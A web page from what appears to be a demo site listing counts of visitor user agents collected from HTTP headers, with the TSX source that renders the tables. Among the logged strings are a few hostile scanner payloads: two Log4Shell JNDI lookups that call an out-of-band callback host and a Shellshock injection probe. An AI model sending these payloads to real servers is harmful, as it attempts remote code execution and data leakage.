User Agents of Visitors

This page demonstrates showing query result from database.

Below list of user agents are collected from the visitor's HTTP header.

stats ready

User AgentCount
curl51978
Windows30313
Linux20175
MacOS10170
Other9017
Bots3135
Android1686
iPhone794
iPad50
ChromeOS11
Links6
Wget5
Lynx4
Bot AgentCount
OpenAIBot1549
PythonBot384
GoBot246
GoogleBot245
CensysInspect120
BaiduBot107
BingBot103
YandexBot100
PaloBot87
DuckDuckGoBot47
FacebookBot33
InternetMeasurement33
JavaBot29
NetcraftSurveyAgent22
NodeBot16
SlackBot8
SemrushBot3
WhatsAppBot2
YahooBot1
Other AgentCount
TLM-Audit-Scanner/1.01913
python-httpx/0.28.11253
Mozilla/5.0980
Mozilla/5.0 (l9scan/2.0.934313e2931323e2939313e2430313; +https://leakix.net)719
Mozilla/5.0 (compatible; jscrawler/0.1; +https://github.com/)581
Mozilla/5.0 (compatible; pathscan/1.0)438
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)382
Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)208
Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)195
Mozilla/5.0 (compatible; Applebot-Extended/0.1; +http://www.apple.com/go/applebot)154
Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)150
Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)137
crusader-worker/1.0134
Mozilla/5.0 (compatible; DRISHTI/1.0)117
CCBot/2.0 (https://commoncrawl.org/faq/)111
Mozilla/5.0 (compatible; Google-CloudVertexBot; +https://cloud.google.com/vertex-ai-bot)84
RootEvidence/1.075
Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)68
Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)66
Mozilla/5.0 (compatible; xAI-SearchBot/1.0; +https://x.ai)63
WordPress/6.4.355
Mozilla/5.0 (compatible; SecurityScanner/1.0)54
Mozilla/5.0 (compatible; Applebot/0.1; +http://www.apple.com/go/applebot)51
uk-nhs-data/0.0 (internal fraud-research)46
Mozilla/5.0 (compatible; WP-Safe-Scanner/1.0)42
Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)38
Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)36
Mozilla/5.0 (compatible; GoogleOther; +https://developers.google.com/search/)32
Mozilla/5.0 (compatible; GitFinder/1.0)30
fasthttp23
Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)23
metabase-cve-2026-72898-detect/1.0 (benign detection probes only)20
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claude-user@anthropic.com)20
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user19
AIExposure-Scanner/1.0 (+https://aiexposure.entelijan.com/methodology)16
meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)16
Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)16
Mozilla/5.0 (compatible; SecurityResearch/1.0; )15
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com14
vuln_scanner/3.1.0 (CVE-2026-4020)14
Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)13
Mozilla/5.0 (compatible; CT-WP-Scanner/1.0; +https://example.com/bot)12
Mozilla/5.0 (compatible; WebCrawler/1.0)12
RecordedFuture Global Inventory Crawler11
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot11
Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)11
anthropic-ai10
WordPress/6.9.4; https://example.com10
cve-2026-87902-poc/1.010
Mozilla/5.0 (compatible; NetScope-DomainScanner/1.0; security research scanner)9
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)9
Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)9
Mozilla/5.0 (compatible; wpbot/1.3; +https://forms.gle/ajBaxygz9jSR8p8G9)8
Mozilla/5.0 (compatible; YouBot/1.0; +https://about.you.com/youbot/)8
Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)8
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)8
PolycomVVX-VVX_450-UA/6.4.3.58148
Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)8
Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)7
Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)7
Scrapy/2.13.4 (+https://scrapy.org)6
python-urllib3/2.7.06
Mozilla/5.0 (compatible; getdomaindata/1.0; +https://getdomaindata.com/bot)6
AgentTrustBot/1.0 (+https://agenttru.st/crawler; purpose=AI Agent Discovery; contact=admin@agenttru.st)6
Mozilla/5.0 (compatible; Claude-User/1.0; +Claude-User@anthropic.com)6
cve-2026-63030/1.06
Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)6
Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)6
Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)6
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)5
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com)5
Mozilla/5.0 (compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)5
Mozilla/5.0 (compatible; Twitterbot/1.0)5
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)5
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot5
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)5
Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)5
Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)5
Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)5
DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)5
Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)5
ip9max/1.04
Mozilla/5.0 (compatible; MistralBot/1.0; +https://mistral.ai)4
scrape_central/1.04
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1)4
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot)4
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)4
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Discordbot/2.0; +https://discordapp.com)4
Mozilla/5.0 (compatible; TelegramBot/1.0)4
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Applebot/0.1; +http://www.apple.com/go/applebot)4
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)4
Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)4
ApcosysBot/1.0 (+https://apcosys.net)4
Mozilla/5.0 zgrab/0.x3
Facebot3
SAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.33
Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.03
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +searchbot@anthropic.com)3
Mozilla/5.0 (compatible; CohereBot/1.0; +https://cohere.com/bot)3
libwww-perl/5.8203
SonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.13
Mozilla/5.0 (X11; OpenBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.03
Mozilla/5.0 (compatible; Meta-ExternalAgent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)3
Mozilla/5.0 (compatible; DomainChecker/1.0)3
Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.153
Mozilla/5.0 (compatible; SecurityResearch/1.0)3
Scrapy/2.17.0 (+https://scrapy.org)3
Mozilla/5.0 (compatible; LinkedInBot/1.0; +http://www.linkedin.com)3
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; LinkedInBot/1.0; +http://www.linkedin.com3
Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)3
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com)3
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; TelegramBot/1.03
Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.363
Scrapy/2.13.3 (+https://scrapy.org)2
Mozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u)2
Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)2
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.22+ (KHTML, like Gecko) Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.22+ Epiphany/2.30.62
Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.02
SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.02
Mozilla/5.0 (compatible; UGAResearchAgent/1.0; Please visit: NISLabUGA.github.io)2
LG-GC900/V10a Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.12
Mozilla/4.0 (compatible; Dillo 3.0)2
FileTransport PolycomVVX-VVX_400-UA/5.3.0.12074 (SN:0004f28efa50) Type/Application2
MOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.02
Screaming Frog SEO Spider/8.12
Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.02
Opera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.302
CVE-2025-55182-Checker2
Mozilla/5.0 (BB10; Touch) AppleWebKit/537.10+ (KHTML, like Gecko) Version/10.1.0.2342 Mobile Safari/537.10+2
LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.12
BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.02
SonyEricssonW995/R1EA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.02
Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.362
Adobe Application Manager 2.02
Mozilla/3.0 (compatible; NetPositive/2.1.1; BeOS)2
Scrapy/2.16.0 (+https://scrapy.org)2
Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a2
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.52
Mozilla/3.01Gold (Win95; I)2
NetSurf/1.2 (NetBSD; amd64)2
Mozilla/5.0 (compatible; rust_sniffer/0.1; +https://github.com/)2
FAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler)2
AdsBot-Google ( http://www.google.com/adsbot.html)2
SonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.12
git/2.39.22
siteradar/0.1 contact: ops@yyai.studio2
Mozilla/5.0 gitscan-go/0.32
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler2
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0)2
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GrokBot/1.0; +https://x.ai/grokbot2
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Bytespider; +https://zhanzhang.toutiao.com/2
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)2
Mozilla/5.0 (compatible; WhatsApp/10.0.2.1)2
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +claudebot@anthropic.com2
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Applebot/0.1; +http://www.apple.com/go/applebot2
Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)2
Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)2
Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)2
Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)2
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)2
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)2
cpp-httplib/0.29.02
W3C_Validator/1.6541
MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.01
Mozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.51
nook browser/1.01
fastapi-client/1.0 (+https://fastapi.tiangolo.com/)1
Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.81
Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.81
BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1021
Mozilla/5.0 (compatible; VertexWP/1.0; +https://vertexwp.com/bot)1
PolycomSoundStationIP-SSIP_6000-UA/4.0.5.48531
Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)1
MOTORIZR-Z8/46.00.00 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link/6.3.0.0.01
POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.11
Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.1 (like Gecko)1
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/123.0 Safari/537.361
Mozilla/5.0 (compatible; RavenX-Scanner/1.0)1
WebCopier v4.61
BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1051
{USER_AGENT}1
Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.01
Vodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.11
Opera/9.30 (Nintendo Wii; U; ; 2047-7; en)1
Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)1
Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.01
subjs1
Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.111
${jndi:ldap://${:-553}${:-262}.${hostName}.useragent.d7nfud9s906s3f3g4f0gxi9quefc9nzir.oast.online}1
${jndi:ldap://127.0.0.1#.${hostName}.useragent.d7nfud9s906s3f3g4f0gf5mxbxybw3fof.oast.online}1
Mozilla/5.0 (compatible; GoogleOther; +https://developers.google.com/search/docs/crawling-indexing/overview-google-crawlers)1
SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.01
Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.131
InternalSiteScanner/1.01
greedyhand/0.11
msnbot/1.1 ( http://search.msn.com/msnbot.htm)1
Mozilla/5.0 (compatible; Exabot/3.0; http://www.exabot.com/go/robot)1
Mozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML, like Gecko) Safari/4131
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.361
Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.61
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es501
SonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.01
HeartbeatMonitor/1.01
SonyEricssonT100/R1011
SonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.01
Mozilla/5.0 (compatible;)1
BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)1
Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.361
BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1031
Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0 SeaMonkey/2.281
CSSCheck/1.2.21
HTMLParser/1.61
SonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
Opera/9.60 (J2ME/MIDP; Opera Mini/4.1.11320/608; U; en) Presto/2.2.01
Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.31
Opera/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto/2.12.388 Version/12.101
msnbot-media/1.1 ( http://search.msn.com/msnbot.htm)1
Gaisbot/3.0 (robot@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php)1
SonyEricssonT610/R201 Profile/MIDP-1.0 Configuration/CLDC-1.01
Mozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.3.1 Safari/533.31
Mozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko)1
Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC)1
Mozilla/5.0 (X11; NetBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.01
Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.01
facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)1
SEC-SGHX210/1.0 UP.Link/6.3.1.13.01
Googlebot/2.1 ( http://www.googlebot.com/bot.html)1
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/4131
Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.21
SonyEricssonS500i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
msnbot/0.11 ( http://search.msn.com/msnbot.htm)1
Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.01
SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.01
BlackBerry8320/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1001
BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/1231
Mediapartners-Google1
Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1 (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.11
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es651
Mozilla/5.0 (BlackBerry; U; BlackBerry 9930; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.267 Mobile Safari/534.11+1
Download Demon/3.5.0.111
ureq/2.12.11
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/113.0 Safari/537.361
Mozilla/5.0 (compatible; Silovik/2.0)1
Mozilla/5.0 (domain-scan)1
Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.161
Mozilla/5.0 (compatible; NoctraRecon/1.0)1
() { :;}; echo; echo GSCAN_SHK1
Mozilla/5.0 (compatible; ForestEngine/1.0; +https://forestengine.net/)1
SonyEricssonK750i/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.11
Mozilla/5.0 (compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Twitterbot/1.01
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/)1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; WhatsApp/10.0.2.11
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Discordbot/2.0; +https://discordapp.com1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Claude-User/1.0; +Claude-User@anthropic.com1
Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)1
Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)1
Bloglines/3.1 (http://www.bloglines.com)1
Source Code of user-agents.tsx
(import statements omitted for simplicity, click to expand)
import { proxy } from '../../../db/proxy.js'
import {
  getOtherUserAgents,
  getUAStatsProgress,
} from '../../../db/user-agent.js'
import { Locale, Title } from '../components/locale.js'
import SourceCode from '../components/source-code.js'
import Style from '../components/style.js'
import { o } from '../jsx/jsx.js'
import { Routes } from '../routes.js'
function agentTable(title: string, rows: [name: string, count: number][]) {
  if (rows.length === 0) return
  rows.sort((a, b) => b[1] - a[1])
  return (
    <table>
      <thead>
        <tr>
          <th>{title}</th>
          <th>Count</th>
        </tr>
      </thead>
      <tbody>
        {[
          rows.map(([name, count]) => (
            <tr>
              <td>{name}</td>
              <td>{count}</td>
            </tr>
          )),
        ]}
      </tbody>
    </table>
  )
}

function Tables() {
  return (
    <>
      <p>{getUAStatsProgress()}</p>
      {agentTable(
        'User Agent',
        proxy.ua_type.map(row => [row.name, row.count]),
      )}
      {agentTable(
        'Bot Agent',
        proxy.ua_bot.map(row => [row.name, row.count]),
      )}
      {agentTable(
        'Other Agent',
        getOtherUserAgents().map(row => [row.user_agent, row.count]),
      )}
    </>
  )
}

let UserAgents = (
  <div id="user-agents">
    <h1>User Agents of Visitors</h1>
    {Style(/* css */ `
#user-agents table {
  border-collapse: collapse;
  margin: 1rem;
  display: inline;
}
#user-agents th,
#user-agents td {
  border: 1px solid var(--text-color, black);
  padding: 0.25rem 0.5rem;
  max-width: calc(90vw - 8rem);
  word-break: break-word;
}
`)}
    <p>This page demonstrates showing query result from database.</p>
    <p>
      Below list of user agents are collected from the visitor's HTTP header.
    </p>
    <Tables />
    <SourceCode page="user-agents.tsx" />
  </div>
)

let routes = {
  '/user-agents': {
    menuText: <Locale en="Visitor Stats" zh_hk="訪客統計" zh_cn="访客统计" />,
    title: (
      <Title
        t={
          <Locale
            en="User Agents of Visitors"
            zh_hk="訪客的用戶代理"
            zh_cn="访客的用戶代理"
          />
        }
      />
    ),
    description: (
      <Locale
        en="User agents of this site's visitors"
        zh_hk="此網站訪客的用戶代理資訊"
        zh_cn="此网站访客的用户代理资讯"
      />
    ),
    node: UserAgents,
  },
} satisfies Routes

export default { routes }